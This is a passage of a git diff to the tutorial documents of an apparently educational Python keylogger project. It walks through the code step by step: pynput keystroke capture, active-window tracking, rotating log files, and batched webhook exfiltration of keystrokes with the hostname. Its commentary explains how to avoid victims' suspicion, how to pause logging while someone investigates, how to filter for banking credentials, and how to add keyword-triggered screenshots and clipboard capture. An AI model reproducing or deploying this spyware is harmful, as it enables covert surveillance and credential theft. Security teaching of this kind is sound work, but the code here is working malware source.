`ImportError("pynput is required: uv add pynput")` at module level (`keylogger.py:42-46`), halting execution immediately with a clear message. Platform-specific imports (win32gui, NSWorkspace) are caught and set to None (`keylogger.py:57-68`), allowing graceful degradation on unsupported platforms. +2. **Webhook delivery failures** - Caught and logged via `logging.error()` with traceback (`keylogger.py:353-357`), doesn't crash the keylogger. The buffer swap pattern means failed events are already removed from the buffer, so they won't be retried. +3. **File I/O errors during rotation** - `_check_rotation()` handles `FileNotFoundError` (`keylogger.py:263-265`) by immediately rotating to a new file if the current log was deleted externally. +4. **Webhook non-OK responses** - Checked via `response.ok` (`keylogger.py:348`), logged as a warning with the status code but doesn't crash. ### Recovery Mechanisms **Webhook failure scenario:** -- Detection: `requests.post()` raises exception or returns non-200 status -- Response: Log error message, leave events in buffer -- Recovery: Next keystroke batch includes failed events (retry) +- Detection: `requests.post()` raises exception or `response.ok` is False +- Response: Log warning/error message, continue operation +- Recovery: Future batches are independent; the keylogger continues capturing and delivering new batches **File rotation failure scenario:** -- Detection: `Path.stat()` or file open fails during rotation -- Response: Currently would crash with unhandled exception -- Recovery: Should log to stderr and continue with existing file +- Detection: `FileNotFoundError` when calling `Path.stat()` on current log +- Response: Immediately rotate to a new file +- Recovery: New file handle is opened, logging continues uninterrupted + +**File handle cleanup:** +- `stop()` calls `self.log_manager.close()` (`keylogger.py:529`) which closes the underlying file handle under the lock, ensuring no writes are in flight during shutdown ## Extensibility @@ -554,14 +576,14 @@ Deployment requires initial access (phishing, USB drop, etc) and depends on whet Want to add screenshot capture on certain keywords? Here's where it goes: 1. Create new `ScreenshotCapture` class in the service layer (similar to WebhookDelivery) -2. Modify `Keylogger._on_press()` to check for trigger keywords (`keylogger.py:367-383`) +2. Modify `Keylogger._on_press()` to check for trigger keywords (`keylogger.py:428-458`) 3. Call `screenshot.capture()` when keyword detected (like "password" or "credit card") 4. Store screenshots alongside logs or bundle in webhook payload Want to add clipboard monitoring? 1. Create `ClipboardMonitor` class that polls clipboard with `pyperclip` -2. Start monitoring thread in `Keylogger.start()` (`keylogger.py:395-413`) +2. Start monitoring thread in `Keylogger.start()` (`keylogger.py:479-514`) 3. Log clipboard changes to same LogManager instance ## Limitations @@ -589,7 +611,7 @@ This is an educational project to teach concepts, not production malware. Readab ### Open Source Alternatives (PyLogger, Python-Keylogger) How we're different: -- Many open source keyloggers lack tests, we include `test_keylogger.py` with component tests +- Many open source keyloggers lack tests, we include `test_keylogger.py` with 46 pytest tests across 579 lines - We use modern Python (dataclasses, type hints, enum) instead of legacy Python 2 code - Our architecture separates concerns (LogManager, WebhookDelivery) instead of monolithic main function @@ -600,15 +622,21 @@ Clean architecture makes the code easier to understand and extend. Type hints ca Quick map of where to find things: -- `keylogger.py:64-82` - KeyloggerConfig dataclass (all configuration options) -- `keylogger.py:84-107` - KeyEvent dataclass (event structure) -- `keylogger.py:121-165` - WindowTracker class (platform-specific window detection) -- `keylogger.py:168-218` - LogManager class (file writing and rotation) -- `keylogger.py:221-263` - WebhookDelivery class (remote exfiltration) -- `keylogger.py:293-424` - Keylogger main class (orchestration) -- `keylogger.py:322-351` - _process_key() method (key classification) -- `keylogger.py:367-383` - _on_press() callback (event handler) -- `test_keylogger.py` - Component tests for verification +- `keylogger.py:70-73` - Module-level constants (BYTES_PER_MB, WEBHOOK_TIMEOUT_SECS, WINDOW_CHECK_INTERVAL_SECS, LISTENER_JOIN_TIMEOUT_SECS) +- `keylogger.py:75-95` - SPECIAL_KEYS dict (module-level constant mapping Key to display labels) +- `keylogger.py:98-104` - KeyType enum (keystroke classification) +- `keylogger.py:107-120` - KeyloggerConfig dataclass (all configuration options, pure data container) +- `keylogger.py:123-152` - KeyEvent dataclass (event structure) +- `keylogger.py:155-219` - WindowTracker class (platform-specific window detection) +- `keylogger.py:222-296` - LogManager class (direct file I/O writing and rotation) +- `keylogger.py:298-371` - WebhookDelivery class (remote exfiltration with buffer swap pattern) +- `keylogger.py:373-533` - Keylogger main class (orchestration) +- `keylogger.py:406-426` - _process_key() method (key classification using module-level SPECIAL_KEYS) +- `keylogger.py:428-458` - _on_press() callback (event handler) +- `keylogger.py:460-477` - _toggle_logging() (dynamic toggle key name via config) +- `keylogger.py:516-533` - stop() method (calls log_manager.close() for file handle cleanup) +- `keylogger.py:536-547` - main() (simplified to Keylogger(KeyloggerConfig())) +- `test_keylogger.py` - 46 pytest tests across 579 lines ## Next Steps diff --git a/PROJECTS/beginner/keylogger/learn/03-IMPLEMENTATION.md b/PROJECTS/beginner/keylogger/learn/03-IMPLEMENTATION.md index 0b10ce66..7ff18490 100644 --- a/PROJECTS/beginner/keylogger/learn/03-IMPLEMENTATION.md +++ b/PROJECTS/beginner/keylogger/learn/03-IMPLEMENTATION.md @@ -6,16 +6,19 @@ This document walks through the actual code. We'll build key features step by st ``` keylogger/ -├── keylogger.py # 440 lines, complete implementation -│ ├── Imports (1-54) # Dependencies and platform detection -│ ├── Enums (57-62) # KeyType classification -│ ├── Config (64-82) # KeyloggerConfig dataclass -│ ├── Models (84-107) # KeyEvent dataclass -│ ├── WindowTracker (121-165) # Platform window detection -│ ├── LogManager (168-218) # File persistence -│ ├── WebhookDelivery (221-263) # Remote exfiltration -│ └── Keylogger (293-424) # Main controller -├── test_keylogger.py # 186 lines, component tests +├── keylogger.py # 550 lines, complete implementation +│ ├── Imports (1-31) # Dependencies and platform detection +│ ├── Platform constants + conditional imports (32-48) +│ ├── Module-level constants (49-52) +│ ├── SPECIAL_KEYS dict (75-95) +│ ├── KeyType enum (98-104) +│ ├── KeyloggerConfig (107-120) # Pure data container, no side effects +│ ├── KeyEvent (123-152) # Keystroke record +│ ├── WindowTracker (155-219) # Platform window detection +│ ├── LogManager (222-296) # Direct file I/O with rotation +│ ├── WebhookDelivery (298-371) # Remote exfiltration (buffer swap) +│ └── Keylogger (373-533) # Main controller +├── test_keylogger.py # 598 lines, 46 pytest tests └── pyproject.toml # Dependencies and tool config ``` @@ -25,12 +28,12 @@ keylogger/ What we're building: Type-safe classification of keyboard events -Create the `KeyType` enum (`keylogger.py:57-62`): +Create the `KeyType` enum (`keylogger.py:98-104`): ```python class KeyType(Enum): """ - Enumeration of keyboard event types for type safety + Categorizes keystrokes as character, special, or unknown """ CHAR = auto() SPECIAL = auto() @@ -46,26 +49,22 @@ class KeyType(Enum): **Common mistakes here:** ```python -# Wrong approach: Using magic strings -key_type = "char" # Typos like "cahrs" won't be caught +key_type = "char" -# Why this fails: No IDE autocomplete, no type checking, easy to mistype - -# Good: Enum ensures type safety -key_type = KeyType.CHAR # IDE autocompletes, type checker validates +key_type = KeyType.CHAR ``` ### Step 2: Configuring Behavior with Dataclasses Now we need centralized configuration that's easy to read and modify. -In `keylogger.py` (lines 64-82): +In `keylogger.py` (lines 107-120): ```python @dataclass class KeyloggerConfig: """ - Configuration for keylogger behavior + Runtime configuration for keylogger behavior """ log_dir: Path = Path.home() / ".keylogger_logs" log_file_prefix: str = "keylog" @@ -75,19 +74,17 @@ class KeyloggerConfig: toggle_key: Key = Key.f9 enable_window_tracking: bool = True log_special_keys: bool = True - - def __post_init__(self): - self.log_dir.mkdir(parents=True, exist_ok=True) + window_check_interval: float = WINDOW_CHECK_INTERVAL_SECS ``` **What's happening:** 1. `@dataclass` decorator generates `__init__`, `__repr__`, and equality methods automatically 2. Type hints (`Path`, `str | None`, `float`) document expected types and enable static analysis 3. Default values let you customize only what you need: `KeyloggerConfig(max_log_size_mb=1.0)` -4. `__post_init__` runs after `__init__` and creates the log directory if it doesn't exist +4. `window_check_interval` defaults to the module-level constant `WINDOW_CHECK_INTERVAL_SECS` (0.5 seconds), making the polling rate configurable per instance **Why we do it this way:** -Dataclasses reduce boilerplate from ~20 lines of `__init__` code to 2 lines of decorator. Type hints catch bugs during development (mypy will complain if you pass `max_log_size_mb="five"` instead of `5.0`). Default values make the config self-documenting about reasonable settings. +KeyloggerConfig is a pure data container with no side effects on construction. Directory creation happens later in LogManager, not here. This means you can freely create config objects for testing or comparison without touching the filesystem. Dataclasses reduce boilerplate from ~20 lines of `__init__` code to 2 lines of decorator. Type hints catch bugs during development (mypy will complain if you pass `max_log_size_mb="five"` instead of `5.0`). Default values make the config self-documenting about reasonable settings. **Alternative approaches:** - Dictionary: `config = {"log_dir": Path.home() / ".keylogger_logs"}` works but has no type safety and keys can be mistyped @@ -96,7 +93,7 @@ Dataclasses reduce boilerplate from ~20 lines of `__init__` code to 2 lines of d ### Step 3: Representing Keyboard Events -In `keylogger.py` (lines 84-107): +In `keylogger.py` (lines 123-152): ```python @dataclass @@ -111,22 +108,22 @@ class KeyEvent: def to_dict(self) -> dict[str, str]: """ - Convert event to dictionary for JSON serialization + Convert event to dictionary for serialization """ return { "timestamp": self.timestamp.isoformat(), "key": self.key, "window_title": self.window_title or "Unknown", - "key_type": self.key_type.name.lower() + "key_type": self.key_type.name.lower(), } def to_log_string(self) -> str: """ - Format event as human readable log string + Format event as human readable log line """ time_str = self.timestamp.strftime("%Y-%m-%d %H:%M:%S") - window_info = f" [{self.window_title}]" if self.window_title else "" - return f"[{time_str}]{window_info} {self.key}" + window = f" [{self.window_title}]" if self.window_title else "" + return f"[{time_str}]{window} {self.key}" ``` **Key parts explained:** @@ -154,12 +151,12 @@ Abstract platform differences behind a unified interface. Detect the OS once, ca ### Implementation -In `keylogger.py` (lines 121-165): +In `keylogger.py` (lines 155-219): ```python class WindowTracker: """ - Tracks active window titles across different operating systems + Active window title lookup across OS platforms """ @staticmethod def get_active_window() -> str | None: @@ -168,28 +165,30 @@ class WindowTracker: """ system = platform.system() - if system == "Windows" and win32gui: + if system == WINDOWS and win32gui: return WindowTracker._get_windows_window() - if system == "Darwin" and NSWorkspace: + if system == DARWIN and NSWorkspace: return WindowTracker._get_macos_window() - if system == "Linux": + if system == LINUX: return WindowTracker._get_linux_window() return None ``` -This public method hides platform complexity. Callers just invoke `WindowTracker.get_active_window()` and get back a string or None regardless of OS. +This public method hides platform complexity. Callers just invoke `WindowTracker.get_active_window()` and get back a string or None regardless of OS. The comparisons use module-level constants (`WINDOWS`, `DARWIN`, `LINUX`) defined at line 53 instead of raw strings, eliminating magic string repetition. -**Windows implementation** (`keylogger.py:140-150`): +**Windows implementation** (`keylogger.py:175-186`): ```python @staticmethod def _get_windows_window() -> str | None: try: - window = win32gui.GetForegroundWindow() - _, pid = win32process.GetWindowThreadProcessId(window) + hwnd = win32gui.GetForegroundWindow() + _, pid = win32process.GetWindowThreadProcessId(hwnd) process = psutil.Process(pid) - window_title = win32gui.GetWindowText(window) - return f"{process.name()} - {window_title}" if window_title else process.name() + title = win32gui.GetWindowText(hwnd) + if title: + return f"{process.name()} - {title}" + return process.name() except Exception: return None ``` @@ -201,18 +200,18 @@ def _get_windows_window() -> str | None: - We combine process name and window title: "chrome.exe - Gmail" - Broad exception catching is intentional because window tracking is optional, failure shouldn't crash the keylogger -**macOS implementation** (`keylogger.py:152-158`): +**macOS implementation** (`keylogger.py:188-199`): ```python @staticmethod def _get_macos_window() -> str | None: try: - active_app = NSWorkspace.sharedWorkspace().activeApplication() - return active_app.get('NSApplicationName', 'Unknown') + active = NSWorkspace.sharedWorkspace().activeApplication() + return active.get('NSApplicationName', 'Unknown') except Exception: return None ``` -**Linux implementation** (`keylogger.py:160-172`): +**Linux implementation** (`keylogger.py:201-219`): ```python @staticmethod def _get_linux_window() -> str | None: @@ -222,14 +221,16 @@ def _get_linux_window() -> str | None: capture_output=True, text=True, timeout=1, - check=False + check=False, ) - return result.stdout.strip() if result.returncode == 0 else None + if result.returncode == 0: + return result.stdout.strip() + return None except Exception: return None ``` -This shells out to xdotool command-line utility. We set `timeout=1` to avoid hanging if xdotool is slow. `check=False` means non-zero exit codes don't raise exceptions. +This shells out to xdotool command-line utility. The `subprocess` module is imported at the top of the file (line 27), not conditionally inside the Linux branch. We set `timeout=1` to avoid hanging if xdotool is slow. `check=False` means non-zero exit codes don't raise exceptions. ### Testing This Feature @@ -240,116 +241,134 @@ from keylogger import WindowTracker title = WindowTracker.get_active_window() print(f"Active window: {title}") -# Output: "chrome.exe - GitHub" (Windows) -# Output: "Google Chrome" (macOS) -# Output: "GitHub — Mozilla Firefox" (Linux) ``` If you see None, check that platform-specific dependencies are installed. Windows needs pywin32, macOS needs PyObjC, Linux needs xdotool. ## Building the Log Manager -### Step 1: File Creation and Rotation +### Step 1: Direct File I/O with Rotation -What we're building: Persistent logging with automatic file rotation +What we're building: Persistent logging with automatic file rotation using direct file writes -Create `LogManager` class (`keylogger.py:168-218`): +Create `LogManager` class (`keylogger.py:222-296`): ```python class LogManager: """ - Manages log file rotation and writing + File writer with automatic size-based rotation """ def __init__(self, config: KeyloggerConfig): self.config = config + config.log_dir.mkdir(parents=True, exist_ok=True) self.current_log_path = self._get_new_log_path() - self.lock = Lock() - self.logger = self._setup_logger() + self._lock = Lock() + self._file = open(self.current_log_path, 'a', encoding='utf-8') ``` The `Lock()` from threading module prevents race conditions. Multiple threads (keyboard listener thread, main thread) might write simultaneously. Without the lock, log files could get corrupted with interleaved writes. -**Setting up Python logging** (`keylogger.py:175-182`): +Notice that `LogManager.__init__` creates the log directory (`config.log_dir.mkdir(...)`) rather than KeyloggerConfig doing it. This keeps configuration as a pure data container with no side effects on construction. + +**Generating log file paths** (`keylogger.py:240-246`): ```python -def _setup_logger(self) -> logging.Logger: - logger = logging.getLogger("keylogger") - logger.setLevel(logging.INFO) - - handler = logging.FileHandler(self.current_log_path) - handler.setFormatter(logging.Formatter('%(message)s')) - logger.addHandler(handler) - - return logger +def _get_new_log_path(self) -> Path: + """ + Generate a new log file path with timestamp + """ + ts = datetime.now().strftime("%Y%m%d_%H%M%S_%f") + name = f"{self.config.log_file_prefix}_{ts}.txt" + return self.config.log_dir / name ``` -We use Python's logging module instead of direct file writes because it handles buffering efficiently. The `Formatter('%(message)s')` means we only write the message without timestamps (we add those in `KeyEvent.to_log_string()`). +The `%f` format code includes microseconds, producing filenames like `keylog_20250131_143500_123456.txt`. This prevents collisions when rotation happens within the same second. ### Step 2: Writing Events Thread-Safely -In `keylogger.py` (lines 184-189): +In `keylogger.py` (lines 248-255): ```python def write_event(self, event: KeyEvent) -> None: """ Write a keyboard event to the log file """ - with self.lock: - self.logger.info(event.to_log_string()) + with self._lock: + self._file.write(event.to_log_string() + '\n') + self._file.flush() self._check_rotation() ``` -The `with self.lock:` acquires the lock, executes the indented code, then releases the lock automatically. This is safer than manual `lock.acquire()` and `lock.release()` because it guarantees the lock gets released even if an exception occurs. +The `with self._lock:` acquires the lock, executes the indented code, then releases the lock automatically. This is safer than manual `lock.acquire()` and `lock.release()` because it guarantees the lock gets released even if an exception occurs. + +LogManager uses direct file I/O (`self._file.write()` and `self._file.flush()`) rather than Python's `logging` module. This gives full control over flushing and rotation without the overhead of log formatters, handlers, and the logging hierarchy. **What NOT to do:** ```python -# Bad: No synchronization def write_event(self, event): - self.logger.info(event.to_log_string()) + self._file.write(event.to_log_string() + '\n') self._check_rotation() - -# Why this fails: Two threads writing simultaneously can corrupt the file -# Thread 1 writes "[2025-01-31 14:30:22]" -# Thread 2 writes "[2025-01-31 14:30:22]" at same time -# Result: "[2025-01-[2025-01-31 14:30:22]31 14:30:22]" (corrupted) ``` +Two threads writing simultaneously can corrupt the file. Thread 1 writes `"[2025-01-31 14:30:22]"`, Thread 2 writes `"[2025-01-31 14:30:22]"` at same time, and the result is `"[2025-01-[2025-01-31 14:30:22]31 14:30:22]"` (corrupted). + ### Step 3: Automatic File Rotation -In `keylogger.py` (lines 191-208): +In `keylogger.py` (lines 257-280): ```python def _check_rotation(self) -> None: """ - Check if log rotation is needed based on file size + Rotate log file when size limit is reached """ - current_size_mb = self.current_log_path.stat().st_size / (1024 * 1024) + try: + size = self.current_log_path.stat().st_size + except FileNotFoundError: + self._rotate() + return - if current_size_mb >= self.config.max_log_size_mb: - self.logger.handlers[0].close() - self.logger.removeHandler(self.logger.handlers[0]) + if size / BYTES_PER_MB >= self.config.max_log_size_mb: + self._rotate() - self.current_log_path = self._get_new_log_path() - handler = logging.FileHandler(self.current_log_path) - handler.setFormatter(logging.Formatter('%(message)s')) - self.logger.addHandler(handler) +def _rotate(self) -> None: + """ + Close current log file and open a new one + """ + self._file.close() + self.current_log_path = self._get_new_log_path() + self._file = open(self.current_log_path, 'a', encoding='utf-8') ``` -This checks file size after every write. When it exceeds `max_log_size_mb` (default 5.0), we close the current file and create a new one. The old file remains on disk with all historical keystrokes. +This checks file size after every write. When it exceeds `max_log_size_mb` (default 5.0), we close the current file handle and open a new one. The `BYTES_PER_MB` constant (1024 * 1024) avoids a magic number in the division. If the log file was deleted externally (caught by `FileNotFoundError`), we also rotate to a fresh file. Why 5MB default? Large enough to capture significant activity (5MB of text is ~5 million characters, weeks or months of typing). Small enough to avoid suspicion (a 500MB keylog file screams malware). +### Step 4: Closing the File Handle + +In `keylogger.py` (lines 290-296): + +```python +def close(self) -> None: + """ + Close the underlying file handle + """ + with self._lock: + self._file.close() +``` + +The Keylogger's `stop()` method calls `self.log_manager.close()` during shutdown to release the file handle cleanly. This ensures all buffered data is flushed and the OS file descriptor is freed. + ## Building Webhook Delivery ### Batching Events for Stealth What we're building: Remote exfiltration that minimizes network noise -Create `WebhookDelivery` class (`keylogger.py:221-263`): +Create `WebhookDelivery` class (`keylogger.py:298-371`): ```python class WebhookDelivery: """ - Handles batched delivery of logs to remote webhook + Batched HTTP delivery of events to a remote endpoint """ def __init__(self, config: KeyloggerConfig): self.config = config @@ -360,74 +379,78 @@ class WebhookDelivery: The `enabled` flag is True only if both `webhook_url` is set AND the requests library imported successfully. This handles cases where requests isn't installed gracefully. -**Adding events to buffer** (`keylogger.py:222-232`): +**Adding events to buffer** (`keylogger.py:308-324`): ```python def add_event(self, event: KeyEvent) -> None: """ - Add event to buffer and deliver if batch size reached + Buffer an event and deliver when batch is full """ if not self.enabled: return + batch: list[KeyEvent] | None = None with self.buffer_lock: self.event_buffer.append(event) - if len(self.event_buffer) >= self.config.webhook_batch_size: - self._deliver_batch() + batch = self.event_buffer + self.event_buffer = [] + + if batch: + self._deliver_batch(batch) ``` -Events accumulate in the buffer. When we hit the batch size (default 50), we send them all at once. This reduces network calls from potentially thousands per minute (fast typer) to maybe 10-20 per minute. +This uses a **buffer swap pattern**: when the batch is full, we swap `self.event_buffer` with a fresh empty list inside the lock, then deliver the old batch *outside* the lock. This means the HTTP POST (which is slow) never blocks other threads from adding events to the buffer. Events accumulate in the buffer. When we hit the batch size (default 50), we send them all at once. This reduces network calls from potentially thousands per minute (fast typer) to maybe 10-20 per minute. -**Delivering the batch** (`keylogger.py:234-255`): +**Delivering the batch** (`keylogger.py:326-357`): ```python -def _deliver_batch(self) -> None: +def _deliver_batch(self, events: list[KeyEvent]) -> None: """ - Deliver buffered events to webhook endpoint + POST buffered events to the webhook endpoint """ - if not self.event_buffer or not self.config.webhook_url: + if not events or not self.config.webhook_url: return payload = { "timestamp": datetime.now().isoformat(), "host": platform.node(), - "events": [event.to_dict() for event in self.event_buffer] + "events": [e.to_dict() for e in events], } try: response = requests.post( self.config.webhook_url, json=payload, - timeout=5 + timeout=WEBHOOK_TIMEOUT_SECS, ) - - if response.status_code == 200: - self.event_buffer.clear() - except Exception as e: - logging.error("Webhook delivery failed: %s", e) + if not response.ok: + logging.warning("Webhook returned %s", response.status_code) + except Exception: + logging.error("Webhook delivery failed", exc_info=True) ``` **Why this specific handling:** The payload includes `platform.node()` which gives the hostname. This helps attackers track which machine the data came from if they're monitoring multiple victims. The `timestamp` shows when the batch was sent, not when individual keys were pressed (those timestamps are in each event). -We clear the buffer only on successful delivery (`response.status_code == 200`). If the webhook is down or returns an error, events stay in the buffer and will be resent with the next batch. This prevents data loss. +The `_deliver_batch` method takes an `events` parameter rather than reading from `self.event_buffer`. Because the buffer was already swapped in `add_event`, the batch is a standalone list that no other thread can modify. The method uses `response.ok` (True for any 2xx status) rather than checking for exactly `status_code == 200`, which correctly handles all success codes. The timeout uses the `WEBHOOK_TIMEOUT_SECS` constant (5 seconds) rather than a magic number. + +If delivery fails, we log the error but do not retry. The batch is already detached from the buffer, so those events are lost on failure. This is a deliberate tradeoff: retrying would add complexity and could cause unbounded memory growth if the webhook is permanently down. **What NOT to do:** ```python -# Bad: Clear buffer before checking response def _deliver_batch(self): payload = {...} - self.event_buffer.clear() # Data lost if request fails! - + self.event_buffer.clear() + response = requests.post(webhook_url, json=payload) ``` -This loses keystrokes if the network is down. Better to keep events until confirmed receipt. +This loses keystrokes if the network is down. The buffer swap pattern avoids this problem by separating the buffer management (inside the lock) from the network call (outside the lock). ## Building the Main Keylogger ### Processing Keyboard Events -The core of the keylogger is the event handler (`keylogger.py:367-383`): +The core of the keylogger is the event handler (`keylogger.py:428-458`): ```python def _on_press(self, key: Key | KeyCode) -> None: @@ -452,7 +475,7 @@ def _on_press(self, key: Key | KeyCode) -> None: timestamp=datetime.now(), key=key_str, window_title=self._current_window, - key_type=key_type + key_type=key_type, ) self.log_manager.write_event(event) @@ -462,9 +485,9 @@ def _on_press(self, key: Key | KeyCode) -> None: This callback runs every time a key is pressed. pynput calls it from its own thread, so we need to be careful about thread safety. **Important details:** -1. Check for toggle key first. If user presses F9, pause/resume logging and early return +1. Check for toggle key first. If user presses the configured toggle key (default F9), pause/resume logging and early return 2. Check if logging is active. If paused, ignore the keystroke -3. Update active window (only if 0.5 seconds passed since last check) +3. Update active window (only if `window_check_interval` seconds passed since last check) 4. Convert the key to string representation 5. Filter special keys if config says so 6. Create KeyEvent with current timestamp @@ -473,27 +496,17 @@ This callback runs every time a key is pressed. pynput calls it from its own thr ### Converting Keys to Strings -The `_process_key` method (`keylogger.py:322-351`) handles the messy details of key conversion: +The `_process_key` method (`keylogger.py:406-426`) handles the messy details of key conversion. It uses the module-level `SPECIAL_KEYS` dictionary (defined at lines 75-95) rather than creating a new dictionary on every call: ```python def _process_key(self, key: Key | KeyCode) -> tuple[str, KeyType]: """ Convert key to string representation and type """ - special_keys = { - Key.space: "[SPACE]", - Key.enter: "[ENTER]", - Key.tab: "[TAB]", - Key.backspace: "[BACKSPACE]", - Key.delete: "[DELETE]", - Key.shift: "[SHIFT]", - Key.shift_r: "[SHIFT]", - # ... more mappings - } - if isinstance(key, Key): - if key in special_keys: - return special_keys[key], KeyType.SPECIAL + label = SPECIAL_KEYS.get(key) + if label: + return label, KeyType.SPECIAL return f"[{key.name.upper()}]", KeyType.SPECIAL if hasattr(key, 'char') and key.char: @@ -504,13 +517,38 @@ def _process_key(self, key: Key | KeyCode) -> tuple[str, KeyType]: pynput gives us two types: `Key` for special keys (Enter, Shift, arrows) and `KeyCode` for character keys (a, 1, !). We check with `isinstance(key, Key)` to determine which path to take. -For special keys, we look them up in the dictionary. Space becomes "[SPACE]", Enter becomes "[ENTER]". This makes logs readable: you can see when someone pressed Enter to submit a form. +For special keys, we look them up in `SPECIAL_KEYS`. Space becomes "[SPACE]", Enter becomes "[ENTER]". Keys not in the dictionary get a generic `[KEY_NAME]` format. This makes logs readable: you can see when someone pressed Enter to submit a form. For character keys, we extract the `char` attribute. This is just "a" for the A key, "1" for the 1 key, etc. +The `SPECIAL_KEYS` dictionary is defined once at module scope to avoid recreating it on every keystroke: + +```python +SPECIAL_KEYS: dict[Key, str] = { + Key.space: "[SPACE]", + Key.enter: "[ENTER]", + Key.tab: "[TAB]", + Key.backspace: "[BACKSPACE]", + Key.delete: "[DELETE]", + Key.shift: "[SHIFT]", + Key.shift_r: "[SHIFT]", + Key.ctrl: "[CTRL]", + Key.ctrl_r: "[CTRL]", + Key.alt: "[ALT]", + Key.alt_r: "[ALT]", + Key.cmd: "[CMD]", + Key.cmd_r: "[CMD]", + Key.esc: "[ESC]", + Key.up: "[UP]", + Key.down: "[DOWN]", + Key.left: "[LEFT]", + Key.right: "[RIGHT]", +} +``` + ### Starting and Stopping -The lifecycle management (`keylogger.py:395-424`): +The lifecycle management (`keylogger.py:479-533`): ```python def start(self) -> None: @@ -518,7 +556,6 @@ def start(self) -> None: Start the keylogger """ print("Keylogger Started") - # ... status output ... self.is_running.set() self.is_logging.set() @@ -528,7 +565,7 @@ def start(self) -> None: try: while self.is_running.is_set(): - self.listener.join(timeout=1.0) + self.listener.join(timeout=LISTENER_JOIN_TIMEOUT_SECS) except KeyboardInterrupt: self.stop() @@ -545,6 +582,7 @@ def stop(self) -> None: self.listener.stop() self.webhook.flush() + self.log_manager.close() print(f"[*] Logs saved to: {self.config.log_dir}") print("[*] Keylogger stopped.") @@ -552,44 +590,47 @@ def stop(self) -> None: We create a `keyboard.Listener` and pass our `_on_press` method as the callback. When we call `listener.start()`, pynput creates a new thread that monitors keyboard events. -The `while self.is_running.is_set():` loop keeps the main thread alive. We join with timeout so we can check for Ctrl+C. Without this loop, the program would exit immediately after starting the listener. +The `while self.is_running.is_set():` loop keeps the main thread alive. We join with the `LISTENER_JOIN_TIMEOUT_SECS` constant so we can check for Ctrl+C. Without this loop, the program would exit immediately after starting the listener. -On shutdown, we call `webhook.flush()` to send any remaining buffered events. This ensures data isn't lost when the program exits. +On shutdown, we call `webhook.flush()` to send any remaining buffered events, then `log_manager.close()` to release the file handle. This ensures data isn't lost and OS resources are freed when the program exits. ## Security Implementation ### Toggle Key for Quick Pause -File: `keylogger.py:386-393` +File: `keylogger.py:460-477` ```python def _toggle_logging(self) -> None: """ - Toggle logging on/off with F9 key + Toggle logging on/off with the configured key """ + toggle = self.config.toggle_key.name.upper() + if self.is_logging.is_set(): self.is_logging.clear() - print("\n[*] Logging paused. Press F9 to resume.") + print(f"\n[*] Logging paused. Press {toggle} to resume.") else: self.is_logging.set() - print("\n[*] Logging resumed. Press F9 to pause.") + print(f"\n[*] Logging resumed. Press {toggle} to pause.") ``` **What this prevents:** -If a victim gets suspicious (maybe they see unusual disk activity or network traffic), the attacker can press F9 to pause logging. When paused, keystrokes are ignored. This reduces the chance of detection during active investigation. +If a victim gets suspicious (maybe they see unusual disk activity or network traffic), the attacker can press the toggle key to pause logging. When paused, keystrokes are ignored. This reduces the chance of detection during active investigation. **How it works:** 1. Every keystroke checks if it equals `config.toggle_key` (default F9) 2. If match, call `_toggle_logging()` and return early -3. Toggle switches the `is_logging` Event (thread-safe flag) -4. When logging is off, `_on_press` returns immediately without processing +3. The method reads the key name dynamically via `self.config.toggle_key.name.upper()`, so the printed message always matches the configured key (not hardcoded "F9") +4. Toggle switches the `is_logging` Event (thread-safe flag) +5. When logging is off, `_on_press` returns immediately without processing **What happens if you remove this:** The keylogger runs continuously. If a victim opens Task Manager and sees high CPU or network usage, they might investigate. Being able to pause reduces this risk. ### Window Context for Targeted Filtering -File: `keylogger.py:360-362` +File: `keylogger.py:390-404` ```python def _update_active_window(self) -> None: @@ -600,7 +641,9 @@ def _update_active_window(self) -> None: return now = datetime.now() - if (now - self._last_window_check).total_seconds() >= 0.5: + elapsed = (now - self._last_window_check).total_seconds() + + if elapsed >= self.config.window_check_interval: self._current_window = self.window_tracker.get_active_window() self._last_window_check = now ``` @@ -609,7 +652,7 @@ def _update_active_window(self) -> None: Attackers can filter logs later to find only keystrokes from banking sites, password managers, or corporate VPNs. If every logged keystroke includes `[chrome.exe - Bank of America]`, attackers quickly find credentials. **Performance optimization:** -We cache the window title for 0.5 seconds. Calling win32gui or NSWorkspace on every keystroke (potentially hundreds per second) would kill performance. With caching, we call it ~2 times per second regardless of typing speed. +We cache the window title for `config.window_check_interval` seconds (default 0.5 via `WINDOW_CHECK_INTERVAL_SECS`). Calling win32gui or NSWorkspace on every keystroke (potentially hundreds per second) would kill performance. With caching, we call it ~2 times per second regardless of typing speed. The interval is configurable per instance, so tests can set it to 0 for immediate updates. ## Data Flow Example @@ -620,7 +663,6 @@ Let's trace a complete request through the system. ### Request Comes In ```python -# Entry point: keylogger.py:367 def _on_press(self, key): ``` @@ -628,16 +670,14 @@ At this point: - `key` is `KeyCode(char='p')` - `self.is_logging` is set (True) - `self._current_window` is cached from 0.3 seconds ago -- `self.log_manager` has a file open at `/home/user/.keylogger_logs/keylog_20250131_143022.txt` +- `self.log_manager` has a file open at `/home/user/.keylogger_logs/keylog_20250131_143022_654321.txt` - `self.webhook.event_buffer` contains 47 events (not yet at batch size 50) ### Processing Layer ```python -# Processing: keylogger.py:373-378 key_str, key_type = self._process_key(key) -# Inside _process_key (keylogger.py:347-349): if hasattr(key, 'char') and key.char: return key.char, KeyType.CHAR ``` @@ -652,19 +692,16 @@ Why it's structured this way: Some KeyCode objects don't have `char` set (dead k ### Storage/Output ```python -# Final step: keylogger.py:379-383 event = KeyEvent( - timestamp=datetime.now(), # 2025-01-31 14:30:45.123456 + timestamp=datetime.now(), key="p", window_title="chrome.exe - Gmail", - key_type=KeyType.CHAR + key_type=KeyType.CHAR, ) self.log_manager.write_event(event) -# Writes: "[2025-01-31 14:30:45][chrome.exe - Gmail] p" self.webhook.add_event(event) -# Adds to buffer, now 48 events (still under 50) ``` The result is a log file containing the keystroke with full context. We store it in two places: local disk (via LogManager) and in-memory buffer (via WebhookDelivery). The webhook buffer will be sent when it reaches 50 events. @@ -676,8 +713,7 @@ The result is a log file containing the keystroke with full context. We store it When platform-specific modules aren't available, we handle it gracefully: ```python -# keylogger.py:35-54 -if platform.system() == "Windows": +if platform.system() == WINDOWS: try: import win32gui import win32process @@ -687,44 +723,52 @@ if platform.system() == "Windows": ``` **Why this specific handling:** -If someone runs this on Windows without pywin32 installed, we set `win32gui = None`. Later, WindowTracker checks `if system == "Windows" and win32gui:` before using it. This prevents crashes and degrades gracefully (no window titles, but keystroke logging still works). +If someone runs this on Windows without pywin32 installed, we set `win32gui = None`. Later, WindowTracker checks `if system == WINDOWS and win32gui:` before using it. This prevents crashes and degrades gracefully (no window 